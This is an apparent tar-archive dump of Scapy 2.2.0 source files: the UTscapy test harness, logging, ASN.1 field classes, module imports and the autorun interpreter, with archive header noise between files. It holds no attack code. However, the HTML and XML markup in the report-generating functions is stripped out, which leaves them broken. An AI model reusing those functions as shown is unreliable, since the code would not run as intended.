%i ok, %i differed, %i failed. %.2f%% correct." % (i, correct, differ, failed, i and 100.0*(correct)/i) if __name__ == "__main__": import sys try: main(sys.argv[1:]) except KeyboardInterrupt: print >>sys.stderr,"Interrupted by user." scapy-2.2.0/scapy/tools/UTscapy.py0000755000175000017500000005234711477704133015206 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Unit testing infrastructure for Scapy """ import sys,getopt,imp import bz2, base64, os.path, time, traceback, zlib, sha #### Import tool #### def import_module(name): name = os.path.realpath(name) thepath = os.path.dirname(name) name = os.path.basename(name) if name.endswith(".py"): name = name[:-3] f,path,desc = imp.find_module(name,[thepath]) try: return imp.load_module(name, f, path, desc) finally: if f: f.close() #### INTERNAL/EXTERNAL FILE EMBEDDING #### class File: def __init__(self, name, URL, local): self.name = name self.local = local self.URL = URL def get_local(self): return bz2.decompress(base64.decodestring(self.local)) def get_URL(self): return URL def write(self, dir): if dir: dir += "/" open(dir+self.name,"w").write(self.get_local()) # Embed a base64 encoded bziped version of js and css files # to work if you can't reach Internet. class External_Files: UTscapy_js = File("UTscapy.js", "http://www.secdev.org/projects/UTscapy/UTscapy.js", """QlpoOTFBWSZTWWVijKQAAXxfgERUYOvAChIhBAC/79+qQAH8AFA0poANAMjQAAAG ABo0NGEZNBo00BhgAaNDRhGTQaNNAYFURJinplGaKbRkJiekzSenqmpA0Gm1LFMp RUklVQlK9WUTZYpNFI1IiEWEFT09Sfj5uO+qO6S5DQwKIxM92+Zku94wL6V/1KTK an2c66Ug6SmVKy1ZIrgauxMVLF5xLH0lJRQuKlqLF10iatlTzqvw7S9eS3+h4lu3 GZyMgoOude3NJ1pQy8eo+X96IYZw+ynehsiPj73m0rnvQ3QXZ9BJQiZQYQ5/uNcl 2WOlC5vyQqV/BWsnr2NZYLYXQLDs/Bffk4ZfR4/SH6GfA5Xlek4xHNHqbSsRbREO gueXo3kcYi94K6hSO3ldD2O/qJXOFqJ8o3TE2aQahxtQpCVUKQMvODHwu2YkaORY ZC6gihEallcHDIAtRPScBACAJnUggYhLDX6DEko7nC9GvAw5OcEkiyDUbLdiGCzD aXWMC2DuQ2Y6sGf6NcRuON7QSbhHsPc4KKmZ/xdyRThQkGVijKQ=""") UTscapy_css = File("UTscapy.css","http://www.secdev.org/projects/UTscapy/UTscapy.css", """QlpoOTFBWSZTWTbBCNEAAE7fgHxwSB//+Cpj2QC//9/6UAR+63dxbNzO3ccmtGEk pM0m1I9E/Qp6g9Q09TNQ9QDR6gMgAkiBFG9U9TEGRkGgABoABoBmpJkRAaAxD1AN Gh6gNADQBzAATJgATCYJhDAEYAEiQkwIyJk0n6qenpqeoaMUeo9RgIxp6pX78kfx Jx4MUhDHKEb2pJAYAelG1cybiZBBDipH8ocxNyHDAqTUxiQmIAEDE3ApIBUUECAT 7Lvlf4xA/sVK0QHkSlYtT0JmErdOjx1v5NONPYSjrIhQnbl1MbG5m+InMYmVAWJp uklD9cNdmQv2YigxbEtgUrsY2pDDV/qMT2SHnHsViu2rrp2LA01YJIHZqjYCGIQN sGNobFxAYHLqqMOj9TI2Y4GRpRCUGu82PnMnXUBgDSkTY4EfmygaqvUwbGMbPwyE 220Q4G+sDvw7+6in3CAOS634pcOEAdREUW+QqMjvWvECrGISo1piv3vqubTGOL1c ssrFnnSfU4T6KSCbPs98HJ2yjWN4i8Bk5WrM/JmELLNeZ4vgMkA4JVQInNnWTUTe gmMSlJd/b7JuRwiM5RUzXOBTa0e3spO/rsNJiylu0rCxygdRo2koXdSJzmUVjJUm BOFIkUKq8LrE+oT9h2qUqqUQ25fGV7e7OFkpmZopqUi0WeIBzlXdYY0Zz+WUJUTC RC+CIPFIYh1RkopswMAop6ZjuZKRqR0WNuV+rfuF5aCXPpxAm0F14tPyhf42zFMT GJUMxxowJnoauRq4xGQk+2lYFxbQ0FiC43WZSyYLHMuo5NTJ92QLAgs4FgOyZQqQ xpsGKMA0cIisNeiootpnlWQvkPzNGUTPg8jqkwTvqQLguZLKJudha1hqfBib1IfO LNChcU6OqF+3wyPKg5Y5oSbSJPAMcRDANwmS2i9oZm6vsD1pLkWtFGbAkEjjCuEU W1ev1IsF2UVmWYFtJkqLT708ApUBK/ig3rbJWSq7RGQd3sSrOKu3lyKzTBdkXK2a BGLV5dS1XURdKxaRkMplLLQxsimBYZEAa8KQkYyI+4EagMqycRR7RgwtZFxJSu0T 1q5wS2JG82iETHplbNj8DYo9IkmKzNAiw4FxK8bRfIYvwrbshbEagL11AQJFsqeZ WeXDoWEx2FMyyZRAB5QyCFnwYtwtWAQmmITY8aIM2SZyRnHH9Wi8+Sr2qyCscFYo vzM985aHXOHAxQN2UQZbQkUv3D4Vc+lyvalAffv3Tyg4ks3a22kPXiyeCGweviNX 0K8TKasyOhGsVamTUAZBXfQVw1zmdS4rHDnbHgtIjX3DcCt6UIr0BHTYjdV0JbPj r1APYgXihjQwM2M83AKIhwQQJv/F3JFOFCQNsEI0QA==""") def get_local_dict(cls): return dict(map(lambda (x,y): (x, y.name), filter(lambda (x,y): isinstance(y, File), cls.__dict__.items()))) get_local_dict = classmethod(get_local_dict) def get_URL_dict(cls): return dict(map(lambda (x,y): (x, y.URL), filter(lambda (x,y): isinstance(y, File), cls.__dict__.items()))) get_URL_dict = classmethod(get_URL_dict) #### HELPER CLASSES FOR PARAMETRING OUTPUT FORMAT #### class EnumClass: def from_string(cls,x): return cls.__dict__[x.upper()] from_string = classmethod(from_string) class Format(EnumClass): TEXT = 1 ANSI = 2 HTML = 3 LATEX = 4 XUNIT = 5 #### TEST CLASSES #### class TestClass: def __getitem__(self, item): return getattr(self, item) def add_keywords(self, kw): if kw is str: self.keywords.append(kw) else: self.keywords += kw class TestCampaign(TestClass): def __init__(self, title): self.title = title self.filename = None self.headcomments = "" self.campaign = [] self.keywords = [] self.crc = None self.sha = None self.preexec = None self.preexec_output = None def add_testset(self, testset): self.campaign.append(testset) def __iter__(self): return self.campaign.__iter__() def all_tests(self): for ts in self: for t in ts: yield t class TestSet(TestClass): def __init__(self, name): self.name = name self.set = [] self.comments = "" self.keywords = [] self.crc = None self.expand = 1 def add_test(self, test): self.set.append(test) def __iter__(self): return self.set.__iter__() class UnitTest(TestClass): def __init__(self, name): self.name = name self.test = "" self.comments = "" self.result = "" self.res = True # must be True at init to have a different truth value than None self.output = "" self.num = -1 self.keywords = [] self.crc = None self.expand = 1 def __nonzero__(self): return self.res #### PARSE CAMPAIGN #### def parse_campaign_file(campaign_file): test_campaign = TestCampaign("Test campaign") test_campaign.filename= campaign_file.name testset = None test = None testnb = 0 for l in campaign_file.readlines(): if l[0] == '#': continue if l[0] == "~": (test or testset or campaign_file).add_keywords(l[1:].split()) elif l[0] == "%": test_campaign.title = l[1:].strip() elif l[0] == "+": testset = TestSet(l[1:].strip()) test_campaign.add_testset(testset) test = None elif l[0] == "=": test = UnitTest(l[1:].strip()) test.num = testnb testnb += 1 testset.add_test(test) elif l[0] == "*": if test is not None: test.comments += l[1:] elif testset is not None: testset.comments += l[1:] else: test_campaign.headcomments += l[1:] else: if test is None: if l.strip(): print >>sys.stderr, "Unkonwn content [%s]" % l.strip() else: test.test += l return test_campaign def dump_campaign(test_campaign): print "#"*(len(test_campaign.title)+6) print "## %(title)s ##" % test_campaign print "#"*(len(test_campaign.title)+6) if test_campaign.sha and test_campaign.crc: print "CRC=[%(crc)s] SHA=[%(sha)s]" % test_campaign print "from file %(filename)s" % test_campaign print for ts in test_campaign: if ts.crc: print "+--[%s]%s(%s)--" % (ts.name,"-"*max(2,80-len(ts.name)-18),ts.crc) else: print "+--[%s]%s" % (ts.name,"-"*max(2,80-len(ts.name)-6)) if ts.keywords: print " kw=%s" % ",".join(ts.keywords) for t in ts: print "%(num)03i %(name)s" % t c = k = "" if t.keywords: k = "kw=%s" % ",".join(t.keywords) if t.crc: c = "[%(crc)s] " % t if c or k: print " %s%s" % (c,k) #### COMPUTE CAMPAIGN DIGESTS #### def crc32(x): return "%08X" % (0xffffffffL & zlib.crc32(x)) def sha1(x): return sha.sha(x).hexdigest().upper() def compute_campaign_digests(test_campaign): dc = "" for ts in test_campaign: dts = "" for t in ts: dt = t.test.strip() t.crc = crc32(dt) dts += "\0"+dt ts.crc = crc32(dts) dc += "\0\x01"+dts test_campaign.crc = crc32(dc) test_campaign.sha = sha1(open(test_campaign.filename).read()) #### FILTER CAMPAIGN ##### def filter_tests_on_numbers(test_campaign, num): if num: for ts in test_campaign: ts.set = filter(lambda t: t.num in num, ts.set) test_campaign.campaign = filter(lambda ts: len(ts.set) > 0, test_campaign.campaign) def filter_tests_keep_on_keywords(test_campaign, kw): def kw_match(lst, kw): for k in lst: if k in kw: return True return False if kw: for ts in test_campaign: ts.set = filter(lambda t: kw_match(t.keywords, kw), ts.set) def filter_tests_remove_on_keywords(test_campaign, kw): def kw_match(lst, kw): for k in kw: if k not in lst: return False return True if kw: for ts in test_campaign: ts.set = filter(lambda t: not kw_match(t.keywords, kw), ts.set) def remove_empty_testsets(test_campaign): test_campaign.campaign = filter(lambda ts: len(ts.set) > 0, test_campaign.campaign) #### RUN CAMPAIGN ##### def run_campaign(test_campaign, get_interactive_session, verb=2): passed=failed=0 if test_campaign.preexec: test_campaign.preexec_output = get_interactive_session(test_campaign.preexec.strip())[0] for testset in test_campaign: for t in testset: t.output,res = get_interactive_session(t.test.strip()) the_res = False try: if res is None or res: the_res= True except Exception,msg: t.output+="UTscapy: Error during result interpretation:\n" t.output+="".join(traceback.format_exception(sys.exc_type, sys.exc_value, sys.exc_traceback,)) if the_res: t.res = True res = "passed" passed += 1 else: t.res = False res = "failed" failed += 1 t.result = res if verb > 1: print >>sys.stderr,"%(result)6s %(crc)s %(name)s" % t test_campaign.passed = passed test_campaign.failed = failed if verb: print >>sys.stderr,"Campaign CRC=%(crc)s SHA=%(sha)s" % test_campaign print >>sys.stderr,"PASSED=%i FAILED=%i" % (passed, failed) #### INFO LINES #### def info_line(test_campaign): filename = test_campaign.filename if filename is None: return "Run %s by UTscapy" % time.ctime() else: return "Run %s from [%s] by UTscapy" % (time.ctime(), filename) def html_info_line(test_campaign): filename = test_campaign.filename if filename is None: return """Run %s by UTscapy
""" % time.ctime() else: return """Run %s from [%s] by UTscapy
""" % (time.ctime(), filename) #### CAMPAIGN TO something #### def campaign_to_TEXT(test_campaign): output="%(title)s\n" % test_campaign output += "-- "+info_line(test_campaign)+"\n\n" output += "Passed=%(passed)i\nFailed=%(failed)i\n\n%(headcomments)s\n" % test_campaign for testset in test_campaign: output += "######\n## %(name)s\n######\n%(comments)s\n\n" % testset for t in testset: if t.expand: output += "###(%(num)03i)=[%(result)s] %(name)s\n%(comments)s\n%(output)s\n\n" % t return output def campaign_to_ANSI(test_campaign): output="%(title)s\n" % test_campaign output += "-- "+info_line(test_campaign)+"\n\n" output += "Passed=%(passed)i\nFailed=%(failed)i\n\n%(headcomments)s\n" % test_campaign for testset in test_campaign: output += "######\n## %(name)s\n######\n%(comments)s\n\n" % testset for t in testset: if t.expand: output += "###(%(num)03i)=[%(result)s] %(name)s\n%(comments)s\n%(output)s\n\n" % t return output def campaign_to_xUNIT(test_campaign): output='\n\n' for testset in test_campaign: for t in testset: output += ' %(title)s

%(title)s

Shrink All Expand All Expand Passed Expand Failed

""" % test_campaign if local: External_Files.UTscapy_js.write(os.path.dirname(test_campaign.output_file.name)) External_Files.UTscapy_css.write(os.path.dirname(test_campaign.output_file.name)) output %= External_Files.get_local_dict() else: output %= External_Files.get_URL_dict() if test_campaign.crc is not None and test_campaign.sha is not None: output += "CRC=%(crc)s SHA=%(sha)s
" % test_campaign output += ""+html_info_line(test_campaign)+"" output += test_campaign.headcomments + "\n

PASSED=%(passed)i FAILED=%(failed)i

\n\n" % test_campaign for ts in test_campaign: for t in ts: output += """%(num)03i\n""" % t output += "\n\n" for testset in test_campaign: output += "

" % testset if testset.crc is not None: output += "%(crc)s " % testset output += "%(name)s

\n%(comments)s\n
    \n" % testset for t in testset: output += """
  • \n""" % t if t.expand == 2: output +=""" -%(num)03i- """ % t else: output += """ +%(num)03i+ """ % t if t.crc is not None: output += "%(crc)s\n" % t output += """%(name)s\n """ % t output += "\n
\n\n" output += "" return output def campaign_to_LATEX(test_campaign): output = r"""\documentclass{report} \usepackage{alltt} \usepackage{xcolor} \usepackage{a4wide} \usepackage{hyperref} \title{%(title)s} \date{%%s} \begin{document} \maketitle \tableofcontents \begin{description} \item[Passed:] %(passed)i \item[Failed:] %(failed)i \end{description} %(headcomments)s """ % test_campaign output %= info_line(test_campaign) for testset in test_campaign: output += "\\chapter{%(name)s}\n\n%(comments)s\n\n" % testset for t in testset: if t.expand: output += r"""\section{%(name)s} [%(num)03i] [%(result)s] %(comments)s \begin{alltt} %(output)s \end{alltt} """ % t output += "\\end{document}\n" return output #### USAGE #### def usage(): print >>sys.stderr,"""Usage: UTscapy [-m module] [-f {text|ansi|HTML|LaTeX}] [-o output_file] [-t testfile] [-k keywords [-k ...]] [-K keywords [-K ...]] [-l] [-d|-D] [-F] [-q[q]] [-P preexecute_python_code] [-s /path/to/scpay] -l\t\t: generate local files -F\t\t: expand only failed tests -d\t\t: dump campaign -D\t\t: dump campaign and stop -C\t\t: don't calculate CRC and SHA -s\t\t: path to scapy.py -q\t\t: quiet mode -qq\t\t: [silent mode] -n \t: only tests whose numbers are given (eg. 1,3-7,12) -m \t: additional module to put in the namespace -k ,,...\t: include only tests with one of those keywords (can be used many times) -K ,,...\t: remove tests with one of those keywords (can be used many times) -P """ raise SystemExit #### MAIN #### def main(argv): import __builtin__ # Parse arguments FORMAT = Format.ANSI TESTFILE = sys.stdin OUTPUTFILE = sys.stdout LOCAL = 0 NUM=None KW_OK = [] KW_KO = [] DUMP = 0 CRC = 1 ONLYFAILED = 0 VERB=2 PREEXEC="" SCAPY="scapy" MODULES = [] try: opts = getopt.getopt(argv, "o:t:f:hln:m:k:K:DdCFqP:s:") for opt,optarg in opts[0]: if opt == "-h": usage() elif opt == "-F": ONLYFAILED = 1 elif opt == "-q": VERB -= 1 elif opt == "-D": DUMP = 2 elif opt == "-d": DUMP = 1 elif opt == "-C": CRC = 0 elif opt == "-s": SCAPY = optarg elif opt == "-P": PREEXEC += "\n"+optarg elif opt == "-f": try: FORMAT = Format.from_string(optarg) except KeyError,msg: raise getopt.GetoptError("Unknown output format %s" % msg) elif opt == "-t": TESTFILE = open(optarg) elif opt == "-o": OUTPUTFILE = open(optarg, "w") elif opt == "-l": LOCAL = 1 elif opt == "-n": NUM = [] for v in map( lambda x: x.strip(), optarg.split(",") ): try: NUM.append(int(v)) except ValueError: v1,v2 = map(int, v.split("-")) for vv in range(v1,v2+1): NUM.append(vv) elif opt == "-m": MODULES.append(optarg) elif opt == "-k": KW_OK.append(optarg.split(",")) elif opt == "-K": KW_KO.append(optarg.split(",")) try: from scapy import all as scapy except ImportError,e: raise getopt.GetoptError("cannot import [%s]: %s" % (SCAPY,e)) for m in MODULES: try: mod = import_module(m) __builtin__.__dict__.update(mod.__dict__) except ImportError,e: raise getopt.GetoptError("cannot import [%s]: %s" % (m,e)) except getopt.GetoptError,msg: print >>sys.stderr,"ERROR:",msg raise SystemExit autorun_func = { Format.TEXT: scapy.autorun_get_text_interactive_session, Format.ANSI: scapy.autorun_get_ansi_interactive_session, Format.HTML: scapy.autorun_get_html_interactive_session, Format.LATEX: scapy.autorun_get_latex_interactive_session, Format.XUNIT: scapy.autorun_get_text_interactive_session, } # Parse test file test_campaign = parse_campaign_file(TESTFILE) # Report parameters if PREEXEC: test_campaign.preexec = PREEXEC # Compute campaign CRC and SHA if CRC: compute_campaign_digests(test_campaign) # Filter out unwanted tests filter_tests_on_numbers(test_campaign, NUM) for k in KW_OK: filter_tests_keep_on_keywords(test_campaign, k) for k in KW_KO: filter_tests_remove_on_keywords(test_campaign, k) remove_empty_testsets(test_campaign) # Dump campaign if DUMP: dump_campaign(test_campaign) if DUMP > 1: sys.exit() # Run tests test_campaign.output_file = OUTPUTFILE run_campaign(test_campaign, autorun_func[FORMAT], verb=VERB) # Shrink passed if ONLYFAILED: for t in test_campaign.all_tests(): if t: t.expand = 0 else: t.expand = 2 # Generate report if FORMAT == Format.TEXT: output = campaign_to_TEXT(test_campaign) elif FORMAT == Format.ANSI: output = campaign_to_ANSI(test_campaign) elif FORMAT == Format.HTML: output = campaign_to_HTML(test_campaign, local=LOCAL) elif FORMAT == Format.LATEX: output = campaign_to_LATEX(test_campaign) elif FORMAT == Format.XUNIT: output = campaign_to_xUNIT(test_campaign) OUTPUTFILE.write(output) OUTPUTFILE.close() if __name__ == "__main__": main(sys.argv[1:]) scapy-2.2.0/scapy/error.py0000644000175000017500000000346611430356072013574 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Logging subsystem and basic exception class. """ ############################# ##### Logging subsystem ##### ############################# class Scapy_Exception(Exception): pass import logging,traceback,time class ScapyFreqFilter(logging.Filter): def __init__(self): logging.Filter.__init__(self) self.warning_table = {} def filter(self, record): from config import conf wt = conf.warning_threshold if wt > 0: stk = traceback.extract_stack() caller=None for f,l,n,c in stk: if n == 'warning': break caller = l tm,nb = self.warning_table.get(caller, (0,0)) ltm = time.time() if ltm-tm > wt: tm = ltm nb = 0 else: if nb < 2: nb += 1 if nb == 2: record.msg = "more "+record.msg else: return 0 self.warning_table[caller] = (tm,nb) return 1 log_scapy = logging.getLogger("scapy") console_handler = logging.StreamHandler() console_handler.setFormatter(logging.Formatter("%(levelname)s: %(message)s")) log_scapy.addHandler(console_handler) log_runtime = logging.getLogger("scapy.runtime") # logs at runtime log_runtime.addFilter(ScapyFreqFilter()) log_interactive = logging.getLogger("scapy.interactive") # logs in interactive functions log_loading = logging.getLogger("scapy.loading") # logs when loading scapy def warning(x): log_runtime.warning(x) scapy-2.2.0/scapy/asn1fields.py0000644000175000017500000002337511430356065014477 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Classes that implement ASN.1 data structures. """ from asn1.asn1 import * from asn1.ber import * from volatile import * from base_classes import BasePacket ##################### #### ASN1 Fields #### ##################### class ASN1F_badsequence(Exception): pass class ASN1F_element: pass class ASN1F_optionnal(ASN1F_element): def __init__(self, field): self._field=field def __getattr__(self, attr): return getattr(self._field,attr) def dissect(self,pkt,s): try: return self._field.dissect(pkt,s) except ASN1F_badsequence: self._field.set_val(pkt,None) return s except BER_Decoding_Error: self._field.set_val(pkt,None) return s def build(self, pkt): if self._field.is_empty(pkt): return "" return self._field.build(pkt) class ASN1F_field(ASN1F_element): holds_packets=0 islist=0 ASN1_tag = ASN1_Class_UNIVERSAL.ANY context=ASN1_Class_UNIVERSAL def __init__(self, name, default, context=None): if context is not None: self.context = context self.name = name self.default = default def i2repr(self, pkt, x): return repr(x) def i2h(self, pkt, x): return x def any2i(self, pkt, x): return x def m2i(self, pkt, x): return self.ASN1_tag.get_codec(pkt.ASN1_codec).safedec(x, context=self.context) def i2m(self, pkt, x): if x is None: x = 0 if isinstance(x, ASN1_Object): if ( self.ASN1_tag == ASN1_Class_UNIVERSAL.ANY or x.tag == ASN1_Class_UNIVERSAL.RAW or x.tag == ASN1_Class_UNIVERSAL.ERROR or self.ASN1_tag == x.tag ): return x.enc(pkt.ASN1_codec) else: raise ASN1_Error("Encoding Error: got %r instead of an %r for field [%s]" % (x, self.ASN1_tag, self.name)) return self.ASN1_tag.get_codec(pkt.ASN1_codec).enc(x) def do_copy(self, x): if hasattr(x, "copy"): return x.copy() if type(x) is list: x = x[:] for i in xrange(len(x)): if isinstance(x[i], BasePacket): x[i] = x[i].copy() return x def build(self, pkt): return self.i2m(pkt, getattr(pkt, self.name)) def set_val(self, pkt, val): setattr(pkt, self.name, val) def is_empty(self, pkt): return getattr(pkt,self.name) is None def dissect(self, pkt, s): v,s = self.m2i(pkt, s) self.set_val(pkt, v) return s def get_fields_list(self): return [self] def __hash__(self): return hash(self.name) def __str__(self): return self.name def __eq__(self, other): return self.name == other def __repr__(self): return self.name def randval(self): return RandInt() class ASN1F_INTEGER(ASN1F_field): ASN1_tag= ASN1_Class_UNIVERSAL.INTEGER def randval(self): return RandNum(-2**64, 2**64-1) class ASN1F_BOOLEAN(ASN1F_field): ASN1_tag= ASN1_Class_UNIVERSAL.BOOLEAN def randval(self): return RandChoice(True,False) class ASN1F_NULL(ASN1F_INTEGER): ASN1_tag= ASN1_Class_UNIVERSAL.NULL class ASN1F_SEP(ASN1F_NULL): ASN1_tag= ASN1_Class_UNIVERSAL.SEP class ASN1F_enum_INTEGER(ASN1F_INTEGER): def __init__(self, name, default, enum): ASN1F_INTEGER.__init__(self, name, default) i2s = self.i2s = {} s2i = self.s2i = {} if type(enum) is list: keys = xrange(len(enum)) else: keys = enum.keys() if filter(lambda x: type(x) is str, keys): i2s,s2i = s2i,i2s for k in keys: i2s[k] = enum[k] s2i[enum[k]] = k def any2i_one(self, pkt, x): if type(x) is str: x = self.s2i[x] return x def i2repr_one(self, pkt, x): return self.i2s.get(x, repr(x)) def any2i(self, pkt, x): if type(x) is list: return map(lambda z,pkt=pkt:self.any2i_one(pkt,z), x) else: return self.any2i_one(pkt,x) def i2repr(self, pkt, x): if type(x) is list: return map(lambda z,pkt=pkt:self.i2repr_one(pkt,z), x) else: return self.i2repr_one(pkt,x) class ASN1F_ENUMERATED(ASN1F_enum_INTEGER): ASN1_tag = ASN1_Class_UNIVERSAL.ENUMERATED class ASN1F_STRING(ASN1F_field): ASN1_tag = ASN1_Class_UNIVERSAL.STRING def randval(self): return RandString(RandNum(0, 1000)) class ASN1F_PRINTABLE_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.PRINTABLE_STRING class ASN1F_BIT_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.BIT_STRING class ASN1F_IPADDRESS(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.IPADDRESS class ASN1F_TIME_TICKS(ASN1F_INTEGER): ASN1_tag = ASN1_Class_UNIVERSAL.TIME_TICKS class ASN1F_UTC_TIME(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.UTC_TIME class ASN1F_GENERALIZED_TIME(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.GENERALIZED_TIME class ASN1F_OID(ASN1F_field): ASN1_tag = ASN1_Class_UNIVERSAL.OID def randval(self): return RandOID() class ASN1F_SEQUENCE(ASN1F_field): ASN1_tag = ASN1_Class_UNIVERSAL.SEQUENCE def __init__(self, *seq, **kargs): if "ASN1_tag" in kargs: self.ASN1_tag = kargs["ASN1_tag"] self.seq = seq def __repr__(self): return "<%s%r>" % (self.__class__.__name__,self.seq,) def set_val(self, pkt, val): for f in self.seq: f.set_val(pkt,val) def is_empty(self, pkt): for f in self.seq: if not f.is_empty(pkt): return False return True def get_fields_list(self): return reduce(lambda x,y: x+y.get_fields_list(), self.seq, []) def build(self, pkt): s = reduce(lambda x,y: x+y.build(pkt), self.seq, "") return self.i2m(pkt, s) def dissect(self, pkt, s): codec = self.ASN1_tag.get_codec(pkt.ASN1_codec) try: i,s,remain = codec.check_type_check_len(s) for obj in self.seq: s = obj.dissect(pkt,s) if s: warning("Too many bytes to decode sequence: [%r]" % s) # XXX not reversible! return remain except ASN1_Error,e: raise ASN1F_badsequence(e) class ASN1F_SET(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_UNIVERSAL.SET class ASN1F_SEQUENCE_OF(ASN1F_SEQUENCE): holds_packets = 1 islist = 1 def __init__(self, name, default, asn1pkt, ASN1_tag=0x30): self.asn1pkt = asn1pkt self.tag = chr(ASN1_tag) self.name = name self.default = default def i2repr(self, pkt, i): if i is None: return [] return i def get_fields_list(self): return [self] def set_val(self, pkt, val): ASN1F_field.set_val(self, pkt, val) def is_empty(self, pkt): return ASN1F_field.is_empty(self, pkt) def build(self, pkt): val = getattr(pkt, self.name) if isinstance(val, ASN1_Object) and val.tag == ASN1_Class_UNIVERSAL.RAW: s = val elif val is None: s = "" else: s = "".join(map(str, val )) return self.i2m(pkt, s) def dissect(self, pkt, s): codec = self.ASN1_tag.get_codec(pkt.ASN1_codec) i,s1,remain = codec.check_type_check_len(s) lst = [] while s1: try: p = self.asn1pkt(s1) except ASN1F_badsequence,e: lst.append(packet.Raw(s1)) break lst.append(p) if packet.Raw in p: s1 = p[packet.Raw].load del(p[packet.Raw].underlayer.payload) else: break self.set_val(pkt, lst) return remain def randval(self): return fuzz(self.asn1pkt()) def __repr__(self): return "<%s %s>" % (self.__class__.__name__,self.name) class ASN1F_PACKET(ASN1F_field): holds_packets = 1 def __init__(self, name, default, cls): ASN1F_field.__init__(self, name, default) self.cls = cls def i2m(self, pkt, x): if x is None: x = "" return str(x) def extract_packet(self, cls, x): try: c = cls(x) except ASN1F_badsequence: c = packet.Raw(x) cpad = c.getlayer(packet.Padding) x = "" if cpad is not None: x = cpad.load del(cpad.underlayer.payload) return c,x def m2i(self, pkt, x): return self.extract_packet(self.cls, x) class ASN1F_CHOICE(ASN1F_PACKET): ASN1_tag = ASN1_Class_UNIVERSAL.NONE def __init__(self, name, default, *args): self.name=name self.choice = {} for p in args: self.choice[p.ASN1_root.ASN1_tag] = p # self.context=context self.default=default def m2i(self, pkt, x): if len(x) == 0: return packet.Raw(),"" raise ASN1_Error("ASN1F_CHOICE: got empty string") if ord(x[0]) not in self.choice: return packet.Raw(x),"" # XXX return RawASN1 packet ? Raise error raise ASN1_Error("Decoding Error: choice [%i] not found in %r" % (ord(x[0]), self.choice.keys())) z = ASN1F_PACKET.extract_packet(self, self.choice[ord(x[0])], x) return z def randval(self): return RandChoice(*map(lambda x:fuzz(x()), self.choice.values())) # This import must come in last to avoid problems with cyclic dependencies import packet scapy-2.2.0/scapy/all.py0000644000175000017500000000166011430356061013203 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Aggregate top level objects from all Scapy modules. """ from base_classes import * from config import * from dadict import * from data import * from error import * from themes import * from arch import * from plist import * from fields import * from packet import * from asn1fields import * from asn1packet import * from utils import * from route import * if conf.ipv6_enabled: from utils6 import * from route6 import * from sendrecv import * from supersocket import * from volatile import * from as_resolvers import * from ansmachine import * from automaton import * from autorun import * from main import * from layers.all import * from asn1.asn1 import * from asn1.ber import * from asn1.mib import * from crypto import * scapy-2.2.0/scapy/autorun.py0000644000175000017500000001027211430356066014134 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Run commands when the Scapy interpreter starts. """ import code,sys from config import conf from themes import * from error import Scapy_Exception from utils import tex_escape ######################### ##### Autorun stuff ##### ######################### class StopAutorun(Scapy_Exception): code_run = "" class ScapyAutorunInterpreter(code.InteractiveInterpreter): def __init__(self, *args, **kargs): code.InteractiveInterpreter.__init__(self, *args, **kargs) self.error = 0 def showsyntaxerror(self, *args, **kargs): self.error = 1 return code.InteractiveInterpreter.showsyntaxerror(self, *args, **kargs) def showtraceback(self, *args, **kargs): self.error = 1 exc_type, exc_value, exc_tb = sys.exc_info() if isinstance(exc_value, StopAutorun): raise exc_value return code.InteractiveInterpreter.showtraceback(self, *args, **kargs) def autorun_commands(cmds,my_globals=None,verb=0): sv = conf.verb import __builtin__ try: try: if my_globals is None: my_globals = __import__("scapy.all").all.__dict__ conf.verb = verb interp = ScapyAutorunInterpreter(my_globals) cmd = "" cmds = cmds.splitlines() cmds.append("") # ensure we finish multiline commands cmds.reverse() __builtin__.__dict__["_"] = None while 1: if cmd: sys.stderr.write(sys.__dict__.get("ps2","... ")) else: sys.stderr.write(str(sys.__dict__.get("ps1",ColorPrompt()))) l = cmds.pop() print l cmd += "\n"+l if interp.runsource(cmd): continue if interp.error: return 0 cmd = "" if len(cmds) <= 1: break except SystemExit: pass finally: conf.verb = sv return _ def autorun_get_interactive_session(cmds, **kargs): class StringWriter: def __init__(self): self.s = "" def write(self, x): self.s += x sw = StringWriter() sstdout,sstderr = sys.stdout,sys.stderr try: try: sys.stdout = sys.stderr = sw res = autorun_commands(cmds, **kargs) except StopAutorun,e: e.code_run = sw.s raise finally: sys.stdout,sys.stderr = sstdout,sstderr return sw.s,res def autorun_get_text_interactive_session(cmds, **kargs): ct = conf.color_theme try: conf.color_theme = NoTheme() s,res = autorun_get_interactive_session(cmds, **kargs) finally: conf.color_theme = ct return s,res def autorun_get_ansi_interactive_session(cmds, **kargs): ct = conf.color_theme try: conf.color_theme = DefaultTheme() s,res = autorun_get_interactive_session(cmds, **kargs) finally: conf.color_theme = ct return s,res def autorun_get_html_interactive_session(cmds, **kargs): ct = conf.color_theme to_html = lambda s: s.replace("<","<").replace(">",">").replace("#[#","<").replace("#]#",">") try: try: conf.color_theme = HTMLTheme2() s,res = autorun_get_interactive_session(cmds, **kargs) except StopAutorun,e: e.code_run = to_html(e.code_run) raise finally: conf.color_theme = ct return to_html(s),res def autorun_get_latex_interactive_session(cmds, **kargs): ct = conf.color_theme to_latex = lambda s: tex_escape(s).replace("@[@","{").replace("@]@","}").replace("@`@","\\") try: try: conf.color_theme = LatexTheme2() s,res = autorun_get_interactive_session(cmds, **kargs) except StopAutorun,e: e.code_run = to_latex(e.code_run) raise finally: conf.color_theme = ct return to_latex(s),res scapy-2.2.0/scapy/arch/0000755000175000017500000000000011532602317012774 5ustar pbipbiscapy-2.2.0/scapy/arch/__init__.py0000644000175000017500000000462211430356063015112 0ustar 